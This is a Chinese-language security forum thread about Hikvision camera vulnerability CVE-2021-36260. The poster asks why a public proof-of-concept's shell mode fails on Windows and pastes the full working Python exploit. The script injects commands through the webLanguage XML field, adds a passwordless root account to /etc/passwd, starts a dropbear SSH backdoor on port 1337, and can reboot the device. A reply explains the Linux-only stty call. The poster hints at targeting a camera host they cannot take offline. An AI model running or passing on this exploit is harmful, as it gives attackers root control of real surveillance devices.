查看: 468|回复: 7

求教问题 关于海康威视cve-2021-36260的一些问题

 关闭 [复制链接]
  • TA的每日心情
    无聊
    2023-12-29 13:48
  • 签到天数: 27 天

    [LV.4]偶尔看看III

    发表于 2023-8-9 18:57:25 | 显示全部楼层 |阅读模式
    看见海康的摄像头存在cve2021-36260的一个漏洞  但用网上的cve-36260.py脚本poc的时候 --check 没问题 和-- cmd “ls al”显目录也没问题


    但在--shell 过程中 提示“stty”不是内部外部命令

    查看python源码
            os.system(f'stty echo; stty iexten; stty icanon; \
                ssh -o StrictHostKeyChecking=no -o LogLevel=error -o UserKnownHostsFile=/dev/null \
                P@{args.rhost} -p 1337')


    javascript:;

    我的pc系统是win10 并非linux  stty命令是打印回显 电脑不能上网内联监控摄像头 (局域网)所以一直能拿到root shell  但不知password   

    虽然本地拿到目录 ls  但是无法进入/etc/password  得到密码md5值 也无法创建密码

    望大佬解惑
    捕获.PNG
    回复

    使用道具 举报

  • TA的每日心情
    无聊
    2023-12-29 13:48
  • 签到天数: 27 天

    [LV.4]偶尔看看III

     楼主| 发表于 2023-8-9 18:59:03 | 显示全部楼层
    刷新最新回复评论栏目的回复
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    3 天前
  • 签到天数: 1562 天

    [LV.Master]伴坛终老

    发表于 2023-8-9 20:30:43 | 显示全部楼层
    完整脚本发出来

    点评

    发图片 好一些  详情 回复 发表于 2023-8-10 08:45
    import os import argparse import time import requests from requests import packages from requests.packages import urllib3 from requests.packages.urllib3 import exceptions class Http(object): de  详情 回复 发表于 2023-8-10 08:30
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2023-12-29 13:48
  • 签到天数: 27 天

    [LV.4]偶尔看看III

     楼主| 发表于 2023-8-10 08:30:38 | 显示全部楼层
    本帖最后由 hagi 于 2023-8-10 08:34 编辑

    发图片好看些
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2023-12-29 13:48
  • 签到天数: 27 天

    [LV.4]偶尔看看III

     楼主| 发表于 2023-8-10 08:36:38 | 显示全部楼层
    [AppleScript] 纯文本查看 复制代码
    import os
    import argparse
    import time
    
    import requests
    from requests import packages
    from requests.packages import urllib3
    from requests.packages.urllib3 import exceptions
    
    
    class Http(object):
        def __init__(self, rhost, rport, proto, timeout=60):
            super(Http, self).__init__()
    
            self.rhost = rhost
            self.rport = rport
            self.proto = proto
            self.timeout = timeout
    
            self.remote = None
            self.uri = None
    
            """ Most devices will use self-signed certificates, suppress any warnings """
            requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
    
            self.remote = requests.Session()
    
            self._init_uri()
    
            self.remote.headers.update({
                'Host': f'{self.rhost}:{self.rport}',
                'Accept': '*/*',
                'X-Requested-With': 'XMLHttpRequest',
                'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
                'Accept-Encoding': 'gzip, deflate',
                'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
            })
            """
            self.remote.proxies.update({
                # 'http': 'http://127.0.0.1:8080',
            })
            """
    
        def send(self, url=None, query_args=None, timeout=5):
    
            if query_args:
                """Some devices can handle more, others less, 22 bytes seems like a good compromise"""
                if len(query_args) > 22:
                    print(f'[!] Error: Command "{query_args}" to long ({len(query_args)})')
                    return None
    
            """This weird code will try automatically switch between http/https
            and update Host
            """
            try:
                if url and not query_args:
                    return self.get(url, timeout)
                else:
                    data = self.put('/SDK/webLanguage', query_args, timeout)
            except requests.exceptions.ConnectionError:
                self.proto = 'https' if self.proto == 'http' else 'https'
                self._init_uri()
                try:
                    if url and not query_args:
                        return self.get(url, timeout)
                    else:
                        data = self.put('/SDK/webLanguage', query_args, timeout)
                except requests.exceptions.ConnectionError:
                    return None
            except requests.exceptions.RequestException:
                return None
            except KeyboardInterrupt:
                return None
    
            """302 when requesting http on https enabled device"""
    
            if data.status_code == 302:
                redirect = data.headers.get('Location')
                self.uri = redirect[:redirect.rfind('/')]
                self._update_host()
                if url and not query_args:
                    return self.get(url, timeout)
                else:
                    data = self.put('/SDK/webLanguage', query_args, timeout)
    
            return data
    
        def _update_host(self):
            if not self.remote.headers.get('Host') == self.uri[self.uri.rfind('://') + 3:]:
                self.remote.headers.update({
                    'Host': self.uri[self.uri.rfind('://') + 3:],
                })
    
        def _init_uri(self):
            self.uri = '{proto}://{rhost}:{rport}'.format(proto=self.proto, rhost=self.rhost, rport=str(self.rport))
    
        def put(self, url, query_args, timeout):
            """Command injection in the <language> tag"""
            query_args = '<?xml version="1.0" encoding="UTF-8"?>' \
                         f'<language>$({query_args})</language>'
            return self.remote.put(self.uri + url, data=query_args, verify=False, allow_redirects=False, timeout=timeout)
    
        def get(self, url, timeout):
            return self.remote.get(self.uri + url, verify=False, allow_redirects=False, timeout=timeout)
    
    
    def check(remote, args):
        """
        status_code == 200 (OK);
            Verified vulnerable and exploitable
        status_code == 500 (Internal Server Error);
            Device may be vulnerable, but most likely not
            The SDK webLanguage tag is there, but generate status_code 500 when language not found
            I.e. Exist: <language>en</language> (200), not exist: <language>EN</language> (500)
            (Issue: Could also be other directory than 'webLib', r/o FS etc...)
        status_code == 401 (Unauthorized);
            Defiantly not vulnerable
        """
        if args.noverify:
            print(f'[*] Not verifying remote "{args.rhost}:{args.rport}"')
            return True
    
        print(f'[*] Checking remote "{args.rhost}:{args.rport}"')
    
        data = remote.send(url='/', query_args=None)
        if data is None:
            print(f'[-] Cannot establish connection to "{args.rhost}:{args.rport}"')
            return None
        print('[i] ETag:', data.headers.get('ETag'))
    
        data = remote.send(query_args='>webLib/c')
        if data is None or data.status_code == 404:
            print(f'[-] "{args.rhost}:{args.rport}" do not looks like Hikvision')
            return False
        status_code = data.status_code
    
        data = remote.send(url='/c', query_args=None)
        if not data.status_code == 200:
            """We could not verify command injection"""
            if status_code == 500:
                print(f'[-] Could not verify if vulnerable (Code: {status_code})')
                if args.reboot:
                    return check_reboot(remote, args)
            else:
                print(f'[+] Remote is not vulnerable (Code: {status_code})')
            return False
    
        print('[!] Remote is verified exploitable')
        return True
    
    
    def check_reboot(remote, args):
        """
        We sending 'reboot', wait 2 sec, then checking with GET request.
        - if there is data returned, we can assume remote is not vulnerable.
        - If there is no connection or data returned, we can assume remote is vulnerable.
        """
        if args.check:
            print('[i] Checking if vulnerable with "reboot"')
        else:
            print(f'[*] Checking remote "{args.rhost}:{args.rport}" with "reboot"')
        remote.send(query_args='reboot')
        time.sleep(2)
        if not remote.send(url='/', query_args=None):
            print('[!] Remote is vulnerable')
            return True
        else:
            print('[+] Remote is not vulnerable')
            return False
    
    
    def cmd(remote, args):
        if not check(remote, args):
            return False
        data = remote.send(query_args=f'{args.cmd}>webLib/x')
        if data is None:
            return False
    
        data = remote.send(url='/x', query_args=None)
        if data is None or not data.status_code == 200:
            print(f'[!] Error execute cmd "{args.cmd}"')
            return False
        print(data.text)
        return True
    
    
    def cmd_blind(remote, args):
        """
        Blind command injection
        """
        if not check(remote, args):
            return False
        data = remote.send(query_args=f'{args.cmd_blind}')
        if data is None or not data.status_code == 500:
            print(f'[-] Error execute cmd "{args.cmd_blind}"')
            return False
        print(f'[i] Try execute blind cmd "{args.cmd_blind}"')
        return True
    
    
    def shell(remote, args):
        if not check(remote, args):
            return False
        data = remote.send(url='/N', query_args=None)
    
        if data.status_code == 404:
            print(f'[i] Remote "{args.rhost}" not pwned, pwning now!')
            data = remote.send(query_args='echo -n P::0:0:W>N')
            if data.status_code == 401:
                print(data.headers)
                print(data.text)
                return False
            remote.send(query_args='echo :/:/bin/sh>>N')
            remote.send(query_args='cat N>>/etc/passwd')
            remote.send(query_args='dropbear -R -B -p 1337')
            remote.send(query_args='cat N>webLib/N')
        else:
            print(f'[i] Remote "{args.rhost}" already pwned')
    
        print(f'[*] Trying SSH to {args.rhost} on port 1337')
        os.system(f'stty echo; stty iexten; stty icanon; \
        ssh -o StrictHostKeyChecking=no -o LogLevel=error -o UserKnownHostsFile=/dev/null \
        P@{args.rhost} -p 1337')
    
    
    def main():
        print('[*] Hikvision CVE-2021-36260\n[*] PoC by bashis <mcw noemail eu> (2021)')
    
        parser = argparse.ArgumentParser()
        parser.add_argument('--rhost', required=True, type=str, default=None, help='Remote Target Address (IP/FQDN)')
        parser.add_argument('--rport', required=False, type=int, default=80, help='Remote Target Port')
        parser.add_argument('--check', required=False, default=False, action='store_true', help='Check if vulnerable')
        parser.add_argument('--reboot', required=False, default=False, action='store_true', help='Reboot if vulnerable')
        parser.add_argument('--shell', required=False, default=False, action='store_true', help='Launch SSH shell')
        parser.add_argument('--cmd', required=False, type=str, default=None, help='execute cmd (i.e: "ls -l")')
        parser.add_argument('--cmd_blind', required=False, type=str, default=None, help='execute blind cmd (i.e: "reboot")')
        parser.add_argument(
            '--noverify', required=False, default=False, action='store_true', help='Do not verify if vulnerable'
        )
        parser.add_argument(
            '--proto', required=False, type=str, choices=['http', 'https'], default='http', help='Protocol used'
        )
        args = parser.parse_args()
    
        remote = Http(args.rhost, args.rport, args.proto)
    
        try:
            if args.shell:
                shell(remote, args)
            elif args.cmd:
                cmd(remote, args)
            elif args.cmd_blind:
                cmd_blind(remote, args)
            elif args.check:
                check(remote, args)
            elif args.reboot:
                check_reboot(remote, args)
            else:
                parser.parse_args(['-h'])
        except KeyboardInterrupt:
            return False
    
    
    if __name__ == '__main__':
        main()
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2023-12-29 13:48
  • 签到天数: 27 天

    [LV.4]偶尔看看III

     楼主| 发表于 2023-8-10 08:45:14 | 显示全部楼层
    90_ 发表于 2023-8-9 20:30
    完整脚本发出来

    发图片 好一些
    捕获1.PNG
    捕获2.PNG
    捕获3.PNG
    捕获4.PNG
    捕获5.PNG
    捕获6.PNG
    捕获7.PNG
    捕获9.PNG
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    3 天前
  • 签到天数: 1562 天

    [LV.Master]伴坛终老

    发表于 2023-8-10 17:24:59 | 显示全部楼层
    print(f'
  • Trying SSH to {args.rhost} on port 1337')
        os.system(f'stty echo; stty iexten; stty icanon; \
        ssh -o StrictHostKeyChecking=no -o LogLevel=error -o UserKnownHostsFile=/dev/null \
        P@{args.rhost} -p 1337')


  • 这段代码里不是说了吗,要通过ssh连进Linux后执行stty命令,所以你Windows不能执行,这不是很正常,又或者说目标并不是运行在Linux之上

    点评

    那就没办法了 这个poc是国外的wonderfulIP写的 没仔细看 我现在的情况 这个主机不能联网 你懂得 而且不能关机 不然得话直接在U盘搞个kali 我回去研究研究 看看能不能重写一下  详情 回复 发表于 2023-8-10 18:44
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2023-12-29 13:48
  • 签到天数: 27 天

    [LV.4]偶尔看看III

     楼主| 发表于 2023-8-10 18:44:03 | 显示全部楼层
    90_ 发表于 2023-8-10 17:24
    这段代码里不是说了吗,要通过ssh连进Linux后执行stty命令,所以你Windows不能执行,这不是很正常,又或 ...

    那就没办法了  这个poc是国外的wonderfulIP写的  没仔细看  
    我现在的情况   这个主机不能联网 你懂得 而且不能关机  不然得话直接在U盘搞个kali
    我回去研究研究 看看能不能重写一下
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-4-30 02:29 , Processed in 0.033708 second(s), 17 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部